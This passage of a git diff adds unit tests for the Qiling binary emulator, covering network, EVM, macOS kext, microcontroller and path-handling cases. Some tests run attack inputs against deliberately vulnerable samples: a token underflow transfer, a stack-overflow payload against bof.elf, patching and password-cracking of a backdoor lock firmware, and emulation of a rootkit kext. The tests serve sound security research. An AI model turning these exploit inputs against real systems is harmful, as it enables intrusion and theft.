self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + + del ql + + def test_http_elf_linux_x8664(self): + def picohttpd(): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/picohttpd", "12911"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.run() + + picohttpd_therad = threading.Thread(target=picohttpd, daemon=True) + picohttpd_therad.start() + + time.sleep(1) + + f = http.client.HTTPConnection('localhost', 12911, timeout=10) + f.request("GET", "/") + response = f.getresponse() + self.assertEqual("httpd_test_successful", response.read().decode()) + + def test_http_elf_linux_arm(self): + def picohttpd(): + ql = Qiling(["../examples/rootfs/arm_linux/bin/picohttpd", "12912"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.run() + + picohttpd_therad = threading.Thread(target=picohttpd, daemon=True) + picohttpd_therad.start() + + time.sleep(1) + + f = http.client.HTTPConnection('localhost', 12912, timeout=10) + f.request("GET", "/") + response = f.getresponse() + self.assertEqual("httpd_test_successful", response.read().decode()) + + def test_http_elf_linux_armeb(self): + def picohttpd(): + ql = Qiling(["../examples/rootfs/armeb_linux/bin/picohttpd", "12913"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.run() + + picohttpd_thread = threading.Thread(target=picohttpd, daemon=True) + picohttpd_thread.start() + + time.sleep(1) + + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect(("localhost", 12913)) + s.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1:12913\r\nUser-Agent: curl/7.74.0\r\nAccept: */*\r\n\r\n") + data = s.recv(1024) + + res = data.decode("UTF-8",'replace') + self.assertIn("httpd_test_successful", res) + + +if __name__ == "__main__": + unittest.main() + + + + + diff --git a/tests/test_evm.py.orig b/tests/test_evm.py.orig new file mode 100644 index 000000000..4e8c1d4f9 --- /dev/null +++ b/tests/test_evm.py.orig @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 + +import os, platform, sys, unittest + +sys.path.append("..") +from qiling import Qiling + +SECRET_KEY = os.environ.get('AM_I_IN_A_DOCKER_CONTAINER', False) + +if SECRET_KEY: + sys.exit(0) + +if platform.system() == "Darwin" and platform.machine() == "arm64": + sys.exit(0) + +# python 3.10 has not been supported yet in the latest blake2b-py release +if sys.version_info >= (3,10): + sys.exit(0) + + +class Checklist: + def __init__(self) -> None: + self.visited_hookcode = False + self.visited_hookinsn = False + self.visited_hookaddr = False + + +class EVMTest(unittest.TestCase): + def test_underflow_code(self): + ql = Qiling(code="0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029",archtype="evm", verbose=4) + testcheck = Checklist() + argu = ql.arch.evm.abi.convert(['uint256'], [20]) + code = ql.code + argu + + user1 = ql.arch.evm.create_account(balance=100*10**18) + user2 = ql.arch.evm.create_account(balance=100*10**18) + c1 = ql.arch.evm.create_account() + + def hookcode_test(ql, *argv): + testcheck.visited_hookcode = True + + def hookinsn_test(ql, *argv): + testcheck.visited_hookinsn = True + + def hookaddr_test(ql, *argv): + testcheck.visited_hookaddr = True + + h0 = ql.hook_code(hookcode_test) + h1 = ql.hook_address(hookaddr_test, 10) + + # message1: deploy runtime code + msg0 = ql.arch.evm.create_message(user1, b'', code=code, contract_address=c1) + ql.run(code=msg0) + + ql.hook_del(h0) + ql.hook_del(h1) + h2 = ql.hook_insn(hookinsn_test, 'PUSH4') + + # # SMART CONTRACT DEPENDENT - message2: check balance of user1, should be 20 + def check_balance(sender, destination): + call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) + msg2 = ql.arch.evm.create_message(sender, destination, call_data) + return ql.run(code=msg2) + + result = check_balance(user1, c1) + print('\n\nuser1 balance =', int(result.output.hex()[2:], 16)) + ql.hook_del(h2) + + # SMART CONTRACT DEPENDENT - message3: transform 21 from user1 to user2 + call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ + ql.arch.evm.abi.convert(['uint256'], [21]) + msg1 = ql.arch.evm.create_message(user1, c1, call_data) + result = ql.run(code=msg1) + print('\n\nis success =', int(result.output.hex()[2:], 16)) + + # message4: check balance of user1, should be MAX - 1 + result = check_balance(user1, c1) + print('\n\nuser1 balance =', hex(int(result.output.hex()[2:], 16))) + + self.assertEqual(hex(int(result.output.hex()[2:], 16)), '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff') + self.assertTrue(testcheck.visited_hookaddr) + self.assertTrue(testcheck.visited_hookcode) + self.assertTrue(testcheck.visited_hookinsn) + + def test_underflow_filename(self): + ql = Qiling(["../examples/rootfs/evm/Hexagon.hex"], archtype="evm", verbose=4) + + user1 = ql.arch.evm.create_account(balance=100*10**18) + user2 = ql.arch.evm.create_account(balance=100*10**18) + c1 = ql.arch.evm.create_account() + + def check_balance(sender, destination): + call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) + msg2 = ql.arch.evm.create_message(sender, destination, data=call_data) + return ql.run(code=msg2) + + # Deploy runtime code + msg0 = ql.arch.evm.create_message(user1, b'', contract_address=c1) + ql.run(code=msg0) + + # # SMART CONTRACT DEPENDENT: check balance of user1 + result = check_balance(user1, c1) + print('User1 balance =', int(result.output.hex()[2:], 16)) + + # # SMART CONTRACT DEPENDENT: transform from user1 to user2 + call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ + ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe]) + msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) + result = ql.run(code=msg1) + if int(result.output.hex()[2:], 16) == 1: + print('User1 transfered Token to User1') + + # # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 + result = check_balance(user1, c1) + self.assertEqual(int(result.output.hex()[2:], 16), 420000000000000) + + result = check_balance(user2, c1) + self.assertEqual(int(result.output.hex()[2:], 16), 452312848583266388373324160190187140051835877600158453279131187530910662654) + + def test_abi_encoding(self): + ql = Qiling(code="0x608060405234801561001057600080fd5b506101a4806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063ead710c414610030575b600080fd5b6100e96004803603602081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184600183028401116401000000008311171561009757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610164565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012957808201518184015260208101905061010e565b50505050905090810190601f1680156101565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b606081905091905056fea2646970667358221220cf43353b75256fc42aaffd9632e06963c5c2aad72a91004bfd2f98cd56ae1a0c64736f6c63430006000033",archtype="evm", verbose=4) + + user1 = ql.arch.evm.create_account(balance=100*10**18) + c1 = ql.arch.evm.create_account() + + # Deploy runtime code + msg0 = ql.arch.evm.create_message(user1, b'', contract_address=c1) + ql.run(code=msg0) + + # # SMART CONTRACT DEPENDENT: transform from user1 to user2 + call_param = ['Hello World'] + call_data = ql.arch.evm.abi.encode_function_call('greet(string)', call_param) + + function_abi = { + 'name': 'greet', + 'type': 'function', + 'inputs': [{ + 'type': 'string', + 'name': '' + }] + } + call_data2 = ql.arch.evm.abi.encode_function_call_abi(function_abi, call_param) + call_data3 = '0xead710c4'+ ql.arch.evm.abi.convert(['string'], call_param) + + self.assertEqual(call_data, call_data2) + self.assertEqual(call_data, call_data3) + + msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) + result = ql.run(code=msg1) + + result_data = ql.arch.evm.abi.decode_params(['string'], result.output) + self.assertEqual(call_param[0], result_data[0]) + + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/tests/test_macho.py.orig b/tests/test_macho.py.orig new file mode 100644 index 000000000..ae766915c --- /dev/null +++ b/tests/test_macho.py.orig @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +sys.path.append("..") + +from qiling import * +from qiling.exception import * +from qiling.const import QL_VERBOSE + +class MACHOTest(unittest.TestCase): + def test_macho_macos_x8664(self): + ql = Qiling(["../examples/rootfs/x8664_macos/bin/x8664_hello"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) + ql.run() + + def test_usercorn_x8664(self): + ql = Qiling(["../examples/rootfs/x8664_macos/bin/x8664_hello_usercorn"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) + ql.run() + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_macho_kext.py.orig b/tests/test_macho_kext.py.orig new file mode 100644 index 000000000..2bb23ccf2 --- /dev/null +++ b/tests/test_macho_kext.py.orig @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +import os, sys, unittest +from pathlib import Path + +from unicorn import UcError + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.os.const import STRING +from qiling.os.macos.structs import * +from qiling.os.macos.fncc import macos_kernel_api + +IS_FAST_TEST = 'QL_FAST_TEST' in os.environ + +class MACHOTest(unittest.TestCase): + @unittest.skipIf(IS_FAST_TEST, 'fast test') + def test_macho_macos_superrootkit(self): + # https://developer.apple.com/download/more + # to download kernel.developmment + def ls(ql, path): + print("*"*80) + print("[ demigod ] Call /usr/bin/ls:") + getattr_addr = ql.os.heap.alloc(ctypes.sizeof(getattrlistbulk_args_t)) + alist_addr = ql.os.heap.alloc(ctypes.sizeof(attrlist_t)) + attrBufSize = 32768 + attrBuffer_addr = ql.os.heap.alloc(attrBufSize) + retval_addr = ql.os.heap.alloc(8) + + alist = attrlist_t(ql, alist_addr) + alist.bitmapcount = 5 + alist.reserved = 0 + alist.commonattr = 0x82079e0b + alist.volattr = 0 + alist.dirattr = 0 + alist.fileattr = 557 + alist.forkattr = 0 + alist.updateToMem() + + getattr_arg = getattrlistbulk_args_t(ql, getattr_addr) + getattr_arg.options = 8 + getattr_arg.dirfd = 5 + getattr_arg.alist = alist_addr + getattr_arg.attributeBuffer = attrBuffer_addr + getattr_arg.bufferSize = attrBufSize + getattr_arg.updateToMem() + + ql.os.ev_manager.add_process(1234, "ls") + ls = ql.os.ev_manager.proc_find(1234) + ql.os.ev_manager.map_fd[getattr_arg.dirfd] = Path(path) + ql.os.ev_manager.syscall(461, [ls.base, getattr_arg.base, retval_addr]) + + def hook_stop(ql): + ql.emu_stop() + + def my_onenter(ql, address, params): + print("\n") + print("=" * 40) + print(" Enter into my_onenter mode") + print("params: %s" % params) + print("=" * 40) + print("\n") + self.set_api_onenter = True + return address, params + + def my_onexit(ql, address, params, retval): + print("\n") + print("=" * 40) + print(" Enter into my_exit mode") + print("params: %s" % params) + print("=" * 40) + print("\n") + self.set_api_onexit = True + + @macos_kernel_api(passthru=True, params={ + "s": STRING, + }) + def my__strlen(ql, address, params): + self.set_api_strlen = True + return + + ql = Qiling(["../examples/rootfs/x8664_macos/kext/SuperRootkit.kext"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DISASM) + ql.os.set_api("_ipf_addv4", my_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api("_strncmp", my_onexit, QL_INTERCEPT.EXIT) + ql.os.set_api("_strlen", my__strlen) + ql.hook_address(hook_stop, 0xffffff8000854800) + + try: + ql.os.load_kext() + except UcError as e: + print("Load driver error: %s" % e) + sys.exit(-1) + + ql.os.ev_manager.add_process(1337, "agent") + ls(ql, ".") + + self.assertEqual(True, self.set_api_onenter) + self.assertEqual(True, self.set_api_onexit) + self.assertEqual(True, self.set_api_strlen) + del ql +if __name__ == "__main__": + unittest.main() + diff --git a/tests/test_mcu.py.orig b/tests/test_mcu.py.orig new file mode 100644 index 000000000..8fa7500e1 --- /dev/null +++ b/tests/test_mcu.py.orig @@ -0,0 +1,445 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +import sys, unittest +sys.path.append("..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f407, stm32f411, stm32f429 +from qiling.extensions.mcu.stm32f1 import stm32f103 +from qiling.extensions.mcu.atmel import sam3x8e +from qiling.extensions.mcu.gd32vf1 import gd32vf103 + +class MCUTest(unittest.TestCase): + def test_mcu_led_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/rand_blink.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DISASM) + + # Set verbose=QL_VERBOSE.DEFAULT to find warning + ql.run(count=1000) + + del ql + + def test_mcu_snapshot_stm32f411(self): + def create_qiling(): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/hello_usart.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411) + + ql.hw.create('usart2') + ql.hw.create('rcc') + + return ql + + ql1 = create_qiling() + ql1.run(count=1500) + buf1 = ql1.hw.usart2.recv() + print('[1] Received from usart: ', buf1) + + snapshot = ql1.save(hw=True) + + ql2 = create_qiling() + ql2.restore(snapshot) + + ql2.run(count=500) + buf2 = ql2.hw.usart2.recv() + print('[2] Received from usart: ', buf2) + + self.assertEqual(buf1 + buf2, b'Hello USART\n') + + del ql1, ql2 + + def test_mcu_usart_input_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/md5_server.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF) + + ql.hw.create('usart2') + ql.hw.create('rcc') + + ql.run(count=1000) + + ql.hw.usart2.send(b'Hello\n') + ql.run(count=30000) + ql.hw.usart2.send(b'USART\n') + ql.run(count=30000) + ql.hw.usart2.send(b'Input\n') + ql.run(count=30000) + + buf = ql.hw.usart2.recv() + self.assertEqual(buf, b'8b1a9953c4611296a827abf8c47804d7\n2daeb613094400290a24fe5086c68f06\n324118a6721dd6b8a9b9f4e327df2bf5\n') + + del ql + + def test_mcu_patch_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/patch_test.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('usart2') + ql.hw.create('rcc') + ql.hw.create('gpioa') + + ql.patch(0x80005CA, b'\x00\xBF') + ql.run(count=4000) + + del ql + + def test_mcu_freertos_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/os-demo.elf"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DISABLED) + + ql.hw.create('usart2') + ql.hw.create('rcc') + ql.hw.create('gpioa') + + count = 0 + def counter(): + nonlocal count + count += 1 + + ql.hw.gpioa.hook_set(5, counter) + + ql.hw.systick.ratio = 0xff + ql.run(count=100000) + + self.assertTrue(count >= 5) + self.assertTrue(ql.hw.usart2.recv().startswith(b'Free RTOS\n' * 5)) + + del ql + + def test_mcu_dma_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/dma-clock.elf"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('usart2') + ql.hw.create('dma1') + ql.hw.create('rcc') + + ql.run(count=200000) + buf = ql.hw.usart2.recv() + + ## check timestamp + tick = [int(x) for x in buf.split()] + for i in range(1, len(tick)): + assert(4 <= tick[i] - tick[i - 1] <= 6) + + del ql + + def test_mcu_i2c_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/i2c-lcd.bin", 0x8000000], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('i2c1') + ql.hw.create('rcc') + ql.hw.create('gpioa') + ql.hw.create('gpiob') + + flag = False + def indicator(): + nonlocal flag + flag = True + + ql.hw.gpioa.hook_set(5, indicator) + + class LCD: + address = 0x3f << 1 + + def send(self, data): + pass + + def step(self): + pass + + ql.hw.i2c1.connect(LCD()) + ql.run(count=550000) + + self.assertTrue(flag) + + del ql + + def test_mcu_spi_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/spi-test.bin", 0x8000000], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('spi1') + ql.hw.create('rcc') + ql.hw.create('usart2') + ql.hw.create('gpioa') + + ql.run(count=30000) + self.assertTrue(ql.hw.usart2.recv() == b'----------------SPI TEST----------------\najcmfoiblenhakdmgpjclfoibkengajd\nmfpicleohbkdngajcmfoiblenhakdmgp\njclfoibkengajdmfpicleohbkdngajcm\nfoiblenhakdmgpjclfoibkengajdmfpi\ncleohbkdngajcmfoiblenhakdmgpjclf\noibkenhajdmfpicleohbkdngajcmfpib\nlenhakdmgpjclfoibkenhajdmfpicleo\nhbkdngajcmfpiblenhakdmgpjclfoibk\n----------------TEST END----------------\n') + + del ql + + def test_mcu_led_rust_stm32f411(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f411/led-rust.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + count = 0 + def counter(): + nonlocal count + count += 1 + + ql.hw.create('gpioa').hook_set(5, counter) + ql.hw.create('rcc') + + ql.run(count=1000) + self.assertTrue(count >= 5) + + del ql + + def test_mcu_hacklock_stm32f407(self): + def crack(passwd): + ql = Qiling(["../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.OFF) + + ql.hw.create('spi2') + ql.hw.create('gpioe') + ql.hw.create('gpiof') + ql.hw.create('usart1') + ql.hw.create('rcc') + + print('Testing passwd', passwd) + + ql.patch(0x8000238, b'\x00\xBF' * 4) + ql.patch(0x80031e4, b'\x00\xBF' * 11) + ql.patch(0x80032f8, b'\x00\xBF' * 13) + ql.patch(0x80013b8, b'\x00\xBF' * 10) + + ql.hw.usart1.send(passwd.encode() + b'\r') + + ql.hw.systick.set_ratio(400) + + ql.run(count=400000, end=0x8003225) + + return ql.arch.effective_pc == 0x8003225 + + self.assertTrue(crack('618618')) + self.assertTrue(crack('778899')) + self.assertFalse(crack('123456')) + + def test_mcu_tim_speed_stm32f411(self): + ql = Qiling(['../examples/rootfs/mcu/stm32f411/basic-timer.elf'], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('rcc') + ql.hw.create('flash interface') + ql.hw.create('pwr') + ql.hw.create('gpioa') + ql.hw.create('usart2') + ql.hw.create('tim1') + + + ql.hw.tim1.set_ratio(1500) + ql.run(count=2500) + + count = 0 + def counter(): + nonlocal count + count += 1 + + ql.hw.gpioa.hook_set(5, counter) + ql.run(count=10000) + count1 = count + count = 0 + + ql.hw.tim1.set_ratio(1400 * 2) + ql.run(count=10000) + count2 = count + count = 0 + + ql.hw.tim1.set_ratio(1600 // 2) + ql.run(count=10000) + count3 = count + count = 0 + + self.assertTrue(round(count2 / count1) == 2) + self.assertTrue(round(count1 / count3) == 2) + self.assertTrue(ql.hw.usart2.recv().startswith(b'hello\n')) + + def test_mcu_i2c_interrupt_stm32f411(self): + ql = Qiling(['../examples/rootfs/mcu/stm32f411/i2cit-lcd.elf'], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('i2c1') + ql.hw.create('rcc').watch() + ql.hw.create('gpioa') + ql.hw.create('gpiob') + + class LCD: + address = 0x3f << 1 + + def send(self, data): + pass + + def step(self): + pass + + lcd = LCD() + ql.hw.i2c1.connect(lcd) + + ql.hw.systick.set_ratio(100) + + delay_start = 0x8002936 + delay_end = 0x8002955 + def skip_delay(ql): + ql.arch.regs.pc = delay_end + + ql.hook_address(skip_delay, delay_start) + + ql.run(count=100000) + + del ql + + + def test_mcu_blink_gd32vf103(self): + ql = Qiling(['../examples/rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv", + env=gd32vf103, ostype="mcu", verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('rcu') + ql.hw.create('gpioa') + ql.hw.create('gpioc').watch() + + delay_cycles_begin = 0x800015c + delay_cycles_end = 0x800018c + + def skip_delay(ql): + ql.arch.regs.pc = delay_cycles_end + + count = 0 + def counter(): + nonlocal count + count += 1 + + ql.hook_address(skip_delay, delay_cycles_begin) + ql.hw.gpioc.hook_set(13, counter) + ql.run(count=20000) + self.assertTrue(count > 350) + + del ql + + def test_mcu_crc_stm32f407(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f407/ai-sine-test.elf"], + archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('rcc') + ql.hw.create('pwr') + ql.hw.create('flash interface') + ql.hw.create('gpioa') + ql.hw.create('gpiob') + ql.hw.create('gpiod') + ql.hw.create('spi1') + ql.hw.create('crc') + ql.hw.create('dbgmcu') + + flag = False + def indicator(ql): + nonlocal flag + ql.log.info('PA7 set') + flag = True + + ql.hw.gpioa.hook_set(7, indicator, ql) + ql.hw.systick.ratio = 1000 + + ql.run(count=600000) + self.assertTrue(flag) + + del ql + + def test_mcu_usart_stm32f103(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f103/sctf2020-password-lock-plus.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f103, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('rcc') + ql.hw.create('flash interface') + ql.hw.create('exti') + ql.hw.create('usart1') + ql.hw.create('gpioa') + ql.hw.create('afio') + ql.hw.create('dma1').watch() + + data = [] + def gpio_set_cb(pin): + data.append(pin) + + ql.hw.gpioa.hook_set(1, gpio_set_cb, '1') + ql.hw.gpioa.hook_set(2, gpio_set_cb, '2') + ql.hw.gpioa.hook_set(3, gpio_set_cb, '3') + ql.hw.gpioa.hook_set(4, gpio_set_cb, '4') + + ql.run(count=400000) + + self.assertTrue((''.join(data)).find('1442413') != -1) + self.assertTrue(ql.hw.usart1.recv()[:23] == b'SCTF{that1s___r1ghtflag') + + del ql + + def test_mcu_serial_sam3x8e(self): + ql = Qiling(["../examples/rootfs/mcu/sam3x8e/serial.ino.hex"], + archtype="cortex_m", ostype="mcu", env=sam3x8e, verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('wdt') + ql.hw.create('efc0') + ql.hw.create('efc1') + ql.hw.create('pmc') + ql.hw.create('uotghs') + ql.hw.create('pioa') + ql.hw.create('piob') + ql.hw.create('pioc') + ql.hw.create('piod') + ql.hw.create('adc') + ql.hw.create('uart') + ql.hw.create('pdc_uart') + + ql.hw.systick.ratio = 1000 + ql.run(count=100000) + self.assertTrue(ql.hw.uart.recv().startswith(b'hello world\nhello world\n')) + + del ql + + def test_mcu_hackme_stm32f429(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], + archtype="cortex_m", env=stm32f429, ostype='mcu', verbose=QL_VERBOSE.DISABLED) + + ql.hw.create('rcc') + ql.hw.create('usart2') + ql.hw.create('usart3') + + snapshot = ql.save(hw=True) + + ql.restore(snapshot) + ql.hw.usart3.send(b'hbckme\nabc\n') + ql.run(count=20000) + + self.assertEqual(ql.hw.usart2.recv(), b'') + self.assertEqual(ql.hw.usart3.recv(), b'Wrong password!\n') + + ql.restore(snapshot) + ql.hw.usart3.send(b'hackme\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') + ql.run(count=40000) + + self.assertEqual(ql.hw.usart2.recv(), b'Nice Hack!\n') + self.assertEqual(ql.hw.usart3.recv(), b'Welcome to the world of Hacking!\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') + + def test_mcu_fastmode_stm32f429(self): + ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], + archtype="cortex_m", env=stm32f429, ostype='mcu', verbose=QL_VERBOSE.DEFAULT) + + ql.hw.create('rcc') + ql.hw.create('usart2') + ql.hw.create('usart3') + + ql.hw.usart3.send(b'hackme\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') + + ql.os.fast_mode = True + ql.run(timeout=400) + + self.assertEqual(ql.hw.usart2.recv(), b'Nice Hack!\n') + self.assertEqual(ql.hw.usart3.recv(), b'Welcome to the world of Hacking!\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') + + +if __name__ == "__main__": + unittest.main() + diff --git a/tests/test_pathutils.py.orig b/tests/test_pathutils.py.orig new file mode 100644 index 000000000..de56694ed --- /dev/null +++ b/tests/test_pathutils.py.orig @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +from pathlib import Path, PurePath, PurePosixPath, PureWindowsPath + +sys.path.append('..') +from qiling.const import QL_OS +from qiling.os.path import QlOsPath + +is_nt_host = PurePath() == PureWindowsPath() +is_posix_host = PurePath() == PurePosixPath() + +def realpath(path: PurePath) -> Path: + return Path(path).resolve() + +def nt_to_native(rootfs: str, cwd: str, path: str) -> str: + p = QlOsPath(rootfs, cwd, QL_OS.WINDOWS) + + return p.virtual_to_host_path(path) + +def posix_to_native(rootfs: str, cwd: str, path: str) -> str: + p = QlOsPath(rootfs, cwd, QL_OS.LINUX) + + return p.virtual_to_host_path(path) + + +class TestPathUtils(unittest.TestCase): + @unittest.skipUnless(is_posix_host, 'POSIX host only') + def test_convert_nt_to_posix(self): + rootfs = PurePosixPath(r'../examples/rootfs/x86_windows') + + expected = str(realpath(rootfs) / 'test') + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\xxxx\\..\\test')) + + expected = str(realpath(rootfs) / 'Windows' / 'test') + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows', 'test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32\\drivers', '..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 